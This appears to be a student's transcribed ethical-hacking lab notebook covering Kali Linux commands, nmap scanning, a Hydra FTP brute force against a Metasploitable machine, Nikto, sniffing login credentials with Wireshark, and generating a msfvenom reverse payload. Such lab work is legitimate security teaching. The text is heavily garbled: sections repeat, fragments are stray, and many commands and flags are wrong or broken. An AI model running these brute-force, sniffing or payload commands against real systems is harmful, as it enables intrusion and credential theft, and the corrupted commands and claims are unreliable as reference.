

Experiment - 1

- 1) date command : In kali linux the date command is used to display the system date and time. In order to display the date we have to use the following command.

Syntax : # date.

- 2) cal command : The cal command displays the current month's formatted calendar on our terminal screen. If we require a more advanced version of cal.

Syntax : # cal

- 3) cp command : In kali linux the 'cp' command is used to copy files or a group of files or directories that create an exact image of a file on a disk with a different file name.

- 4) Cp command : Cp command used for copy files (or) group of files.

5) whoami command :

The whoami command is used to print information regarding user who are presently logged in.

"It is used to see who had logged in & what they did."

6) ls commands : one of the most useful commands lists the directory contents of files and directories.

Syntax :

ls - al

7)

cat command :

The cat command is one of kali linux most commonly used command only used.

Syntax :

Cat filename.

8)

Mkdir command : The Mkdir command is used to create directories named Penetration testing under Documents.

Syntax :

cd documents
mkdir Penetration testing.

9) **rm command :** The 'rm' command is used to delete files. It can be used to delete directories when we use them recursively.

10) **mv command :** With the help of 'mv' command we can move or rename files and directories on our file system.

11) **uname command :** The uname command current system information. we can view system information about our linux environment with the uname -a command we can learn more about our system.

Syntax : #uname.

12) **uptime command :** The uptime command display the amount of time the system has been running uptime basic usage is simple. simply type the name

9) rm command :

the 'rm' command is used to delete files. It can be used to delete directories when we use them recursively.

10) mv command :

With the help of 'mv' command we can move or rename files and directories on our file system.

11) Uname command : The uname command current system information. we can view system information about our linux environment with the uname -a command we can learn more about our system.

Syntax : #uname.

12) Uptime command : The uptime command display the amount of time the system has been running uptimes basic usage is simple. simply type the name

of the command and click enter.

Use the -p command-line option, if we merely want to know how long the system has been up for and in a more human-readable format.

Syntax: #uptime

- 13) **users Command:** The users command is used to display the login names of users logged in on the system.

Syntax: #users.

- 14) **less Command:** In all Linux the less command is used to view files instead is a more powerful variant of the 'more' command.

Syntax: # less | etc | password.

- 15) **more Command:** The more command shows the output put in the terminal one page at a time.

Syntax : # more etc /password.

16) vi command : The vi editor is a screen editor that comes with practically every Unix system.

17) Free command : In Kali Linux free command provides us the useful information about the amount of ram available on a Linux machine.

Syntax : # free

18) sort command : Using the sort command we can sort the content of the text file line by line. Sort is a standard command-line programme which sorts the lines.

Syntax : # sort file name.

19) History command: The history command is one of kali linux most commonly used command. we can run the history command by itself.

Syntax: # history

20) Pwd command: In kali linux the 'pwd' command is used print working. It gives us information about the directory.

Wen

Wen

Wen

Port scanning tools

Experiment - 3

Aim : Port scanning tools.

Procedure :

Step 1 : open Nmap from kali Linux
(Go to Application > select information
gathering > select) . (NMAP).

Step 2 : Perform different types of
scans . (TCP , UDP , ACK , SYN , FIN
Null , XMAS , RPC , Idle) - scan type .

To perform host discovery .

-Pn	only port scan	nmap -Pn 192.168.1.1
-sn	only host discovery	nmap -sn 192.168.1.1
-PR	arp discovery on local network.	nmap -PR 192.168.1.1
-n	disable DNS resolution.	nmap -n 192.168.1.1

Scanning Techniques :

Flag use example.

- SS TCP syn port scan nmap - SS 192.168.1.1
- ST TCP connect port scan nmap - ST 192.168.1.1
- SU UDP port scan nmap - SU 192.168.1.1
- SA TCP ack port scan nmap - SA 192.168.1.1

Output :

Port scanning tools

Experiment - 2

Aim : To identify port scanning tools.

procedure :
Open Nmap from Kali Linux.
(Go to applications -> select information.
gathering > select)

(Nmap)

Step 2 : Perform different types of scans.
(TCP, UDP, ACK, SYN, FIN, NULL, XMAS
RST, Idle). Scan types.

Scanning tools :

Flag use example.

- SS TCP syn port scan nmap -SS 192.168.1.1
- ST TCP Connect Port scan nmap -ST 192.168.1.1
- SU UDP port scan nmap -SU 192.168.1.1
- SA TCP ACK port scan nmap -SA 192.168.1.1

Port scanning tools

Experiment - 2

Aim : To identify port scanning tools.

procedure :
Open Nmap from Kali Linux.
(Go to applications -> select Information.
gaming > select)

(Nmap)

Step 2 : Perform different types of scans
(TCP, UDP, ACK, SYN, FIN, NULL, XMAS
RST, Idle) - scan types.

Scanning tools :

flag use example.

- SS TCP syn port scan nmap-SS 192.168.1.1
- ST TCP Connect Port scan nmap-ST 192.168.1.1
- SU UDP port scan nmap-SU 192.168.1.1
- SN TCP ACK port scan nmap-SN 192.168.1.1

Output :
mm

Cracking the password using Hydra

Experiment - 4

Procedure.

Aim : To identify the password using Hydra procedure.

procedure :

To open it, go to applications
→ password attacks → online attacks :
hydra → In this case, we will brute force FTP service of metasploit able machine, which has IP 192.168.1.101.

Step : 2 :

we have created in Kali a word list a word list with extension .lst in the path /usr/share/wordlist/metasploit.

The command will be follows :

hydra -i /usr/share/wordlist/metasploit /usr -p

usr/share/wordlist/metasploit/password

ftp://192.168.1.101 -v.

where u is the username and password
while trying.

The username and password are found
which are msfadmin: msfadmin.

Output:



Open book test

- 1) Cross site request forgery (CSRF).
An attacker forces and an end user to execute unwanted actions on a web application in which they are currently authenticated.

Preventions :

- Check if your framework has built in CSRF protection and use it.
- For stateful software use synchronizer token pattern.
- For stateless software use double submit cookies.

- 2) There are five password cracking techniques.

- phishing
- manware
- social force
- brute force.
- Dictionary attack.

- 2) A mebibyte (MiB) is a multiple of the unit byte. It represents a unit of digital information storage used to denote the size of data.
- 4) A keylogger Trojan virus is just as it sounds a programme that logs keystrokes. The danger of one infecting your computer is that it tracks every single keystroke you enter.
- 5) A Denial of service (DoS) attack is an attempt to shut down a machine or network making it inaccessible to its intended users.

Types of DoS attacks:

* Denial of service attacks can be broadly divided into three different types.

- UDP attacks UDP flood attacks target and flood random ports on the remote host.

- ICMP attacks.

- Ping of death.

- Slowloris.

6)

Computer virus :

• A computer virus is a program, where in a .

- Boot sector virus .
- Overwrite virus .
- Spacefiller virus .
- File infecter virus .

Computer worm :

• A computer worm is an independent malicious program, which when enters .

- Internet worms .
- Computer worms .

Information gathering using the NMAP tool

Experiment - 5

Aim : To identify information gathering using Nmap tool.

Procedure :

Step 1 : Open terminal in the Kali Linux.

- d (url) will be the remote site from which you want to fetch.
- l will limit the search for specified number.
- b is used to specify search engine name.

Step 2 : Run the following command.

Output :

USE Google & whois for reconnaissance

Experiment -6

Aim : To identify use google & whois for reconnaissance .

Procedure :

Step 1 : In windows operating system opening google chrome & searching for whois website .

Step 2 : In whois website entering the `www.saurashtra.com` .

Step 3 : finally , we get the information of the website .

Output :

windows operating system commands execution

Experiment : 7 Tracert, PING,
Ifconfig, Netstat.

Aim : windows operating system commands execution, Tracert, PING, Ifconfig, Netstat.

Procedure :

Step 1 : open windows command prompt and type tracert command tracert www.sauelth.com . > Enter " .

Step 2 : Type ping command and type IP Address press " Enter " .

Step 3 : Type ifconfig command .

Step 4 : type netstat .

Output :

vulnerabilities Analysis using CGI scanning
Experiment : 8 With Nikto

Aim : To identify vulnerabilities analysis using CGI scanning with Nikto.

procedure :

Step 1 : open a terminal window and type `nikto -h` and press enter.

Step 2 : Type `nikto -h <website> -tuning x` and press enter.

Step 3 : Nikto start web server scanning with all tuning option enabled.

Step 4 : In the terminal window type
"`nikto -h <website> -cgi`" all the hit enter.

Step 5 : Nikto will scan the web server as it looks vulnerable CGI directories. It scans the observed list but the directories.

Output :

File

File

D

Wireshark Sniffer for Network Traffic & Analyse.

Experiment No: 9

Aim: Install and use Wireshark sniffer for network traffic & Analyse.

Procedure:

Step 1: Install and open Wireshark.

Step 2: Go to capture tab and select interface option. Here wifi connection is chosen.

Step 3: The source, destination and protocols of the packets in the wifi network are displayed.

Step 4: open a website in a new window and enter the user id and password, register if needed.

Step 5: Enter the credentials and then sign in.

Step 6 : The Wireshark tool will keep
rewriting the packets.

Step 7 : Select filter as http to make
the search easier and click on apply

Step 8 : Find the post methods form username
and password.

Step 9 : You will see the email id and
password that you to log in.

Output :
min

Implement the Boot sector virus

Experiment : 10

Aim : Implement the Boot sector virus.

Procedure : Update and Upgrade Kali Linux
open the terminal and type in
sudo apt-get upgrade.

Step 3 : If you see this it means that
bundle is either setup incorrectly
or hasn't been updated.

To fix this, it means that bundle is
either setup incorrectly or hasn't been
updated.

```
>> cd /usr/share/metasploit-framework/.
```

from the root directory. If we you make
a mistake, you can take in >> cd ...

to go back to the previous directory
or type in any directory after cd to
go there.

Implement the Boot sector virus

Experiment : 10

Aim : Implement the Boot sector virus.

Procedure : Update and upgrade Kali Linux
open the terminal and type in
`sudo apt-get upgrade`.

Step 3 : If you see this it means that
bundles is either setup incorrectly
or hasn't been updated.

To fix this, it means that bundles is
either setup incorrectly or has been
updated.

`>> cd /usr/share/metasploit-framework/`

from the root directory. If we you make
a mistake, you can take in `>> cd ...`

to go back to the previous directory
or type in any directory after `cd` to
go there.

3) Now that we are in the metasploit framework - for directory type in

```
>> gem install bundler.
```

to install bundler, then type in

```
>> bundle install.
```

4) If bundler is not the correct version, you should get a message telling you which version to install

(in this case it was 1.17.3). Type in

```
>> gem install bundler.
```

And then type in : gem update - system.

After all of that everything should work perfectly.

```
>> cd /root.
```

to go back to the root directory.

step 2 : Open exploit software.

Open up the terminal and type

in : msfvenom - l payload.

Step 5: Customize our payload.

```
msfvenom -l options -p windows/meterpreter  
/renewie -tcp.
```

Step 6: Generate the virus.

Now that we have our payload, IP address and port number, we have all the information that we need.

Type in:

Syntax:

```
msfvenom -p [payload] LHOST = [your ip  
address] LPORT = [the port number]  
-f [file type] >[path].
```

Output:

Batch File Execution.

Experiment - 11

Aim: To identify file execution.

Procedure:

Step 1: Open a text file, such as a notepad or word pad document.

Step 2: Add your commands, starting with @echo [off]. Followed by each in a new line, title [title of your file and pause].

Step 3: Save your file with the file extension BAT, for example tut.bat.

Step 4: To run your batch file, double click the BAT file you just created.

Step 5: To edit your batch file, right-click BAT file and select file.

and here is the corresponding windows for the example above.

1) Create a new Text document :

A batch file simplifies repeatable computer tasks using the Windows Command prompt. Below is an example of a batch file responsible for displaying some text in your command prompt, and selecting new, the text document.

1. Code :

Double-click this new Text document to open your default text editor. Copy and paste the following code into your text entry.

```
>> @echo off  
>> echo hullo.  
>> Pause.  
>> echo This is new.  
>> echo this is second one.  
>> pause.
```

1) To save a BAT file :

The above script echoes back the text 'welcome to batch scripting'. save your file by heading to file > save as and then name your file what you'd like. And your file name with the added BAT extension, for example test.bat and click ok.

2) To Run as BAT file :

All you need to do is double-click your BAT file.

Output :

Packet analyser tool

Experiment-12

Aim : to identify the packet analyser tool.

Procedure :

- capture the packets (TCP / UDP / HTTP)
- filter those packets.
- inspect those packets.

Step 1 : Install and open Wireshark.

Step 2 : To capture TCP / UDP / HTTP packets.

Step 3 : to inspect the TCP / UDP / HTTP packets.

Step 4 : to filter TCP / UDP / HTTP packets.

Output :